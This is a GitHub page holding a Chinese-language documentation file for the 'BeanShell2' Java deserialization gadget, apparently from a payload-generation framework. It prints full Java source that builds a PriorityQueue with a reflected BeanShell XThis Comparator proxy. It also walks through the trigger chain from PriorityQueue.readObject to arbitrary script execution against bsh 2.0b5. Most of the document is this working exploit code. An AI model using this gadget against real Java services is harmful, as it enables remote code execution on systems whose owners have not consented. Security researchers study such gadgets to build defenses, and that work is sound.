Skip to content

Latest commit

 

History

History
65 lines (55 loc) · 3.86 KB

File metadata and controls

65 lines (55 loc) · 3.86 KB

Beanshell链2(BeanShell2)

  • 类别:javanative 别名:— 优先级:—
  • 作者:Killer
  • 依赖org.beanshell:bsh:2.0b5

作用

BeanShell1 同思路:把承载 BeanShell 脚本的 Comparator 动态代理装入 PriorityQueue,反序列化时经 compare 触发脚本 RCE。区别在于本实现用反射调用 XThis 的私有构造器并采用「先正常 add 再反射替换 comparator」的方式构造队列,绕过部分对 XThis 可见性/构造的限制。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口(PriorityQueue.readObject)。
  • 衔接 nextTagsBeanshell_Expr —— 下游提供 BeanShell 表达式字符串,见 BeanshellConvertUserCustomExpr
  • excludes:无。

源码剖析

public PriorityQueue getObject(String beanshell) throws Exception {
    String payload = "compare(Object foo, Object bar) {%s;return new Integer(1);}";
    Interpreter i = new Interpreter();
    Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
    setu.setAccessible(true);
    setu.invoke(i, "bsh.cwd", ".");
    i.eval(String.format(payload, beanshell));                          // 定义 compare() 方法

    Class<?> xthis = Class.forName("bsh.XThis");
    Field handlerField = xthis.getDeclaredField("invocationHandler");   // 反射拿 invocationHandler 字段
    handlerField.setAccessible(true);
    Constructor<?> ctor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
    ctor.setAccessible(true);                                           // 反射打开私有构造器
    Object xt = ctor.newInstance(i.getNameSpace(), i);
    InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
    Comparator comparator = (Comparator) Proxy.newProxyInstance(
        Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);

    PriorityQueue<String> queue = new PriorityQueue<>(2);
    queue.add("1"); queue.add("2");                                     // 先用无害元素占位(默认自然序,不触发脚本)
    Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue, comparator);                                       // 事后反射注入恶意 comparator
    return queue;
}
  • 与 BeanShell1 相比:BeanShell1 用 new XThis(...) + Reflections.getField,本类全程 Class.forName("bsh.XThis") + 私有构造器反射,对 XThis 非 public 构造器的环境更稳。
  • 队列构造策略也不同:先 add("1")/add("2")(此时 comparator 尚为 null,走 String 自然序,不会触发脚本),完成堆结构后再 field.set(queue, comparator) 把比较器替换为恶意代理——同样规避构造期触发。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((String) chain.doCreate(context));
}

触发链PriorityQueue.readObject → heapify → siftDown → comparator.compare → (Proxy) bsh XThis.invoke → 执行 BeanShell 脚本

参数(@Param)

本类无独立 @Param;BeanShell 脚本由下游 Beanshell_Expr gadget 经 chain.doCreate 注入。

适用版本与原理要点

  • 依赖 bsh:2.0b5
  • 反射构造 XThis 的方式使其不受 bsh.XThis 构造器/字段可见性变化影响,是对 BeanShell1 的兼容性增强变体。
  • 无需 commons-collections,触发面为 PriorityQueue,通用性高。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 下游(nextTags=Beanshell_Expr):BeanshellConvertUserCustomExpr
  • 同族:BeanShell1 —— 相同 sink,构造手法略异。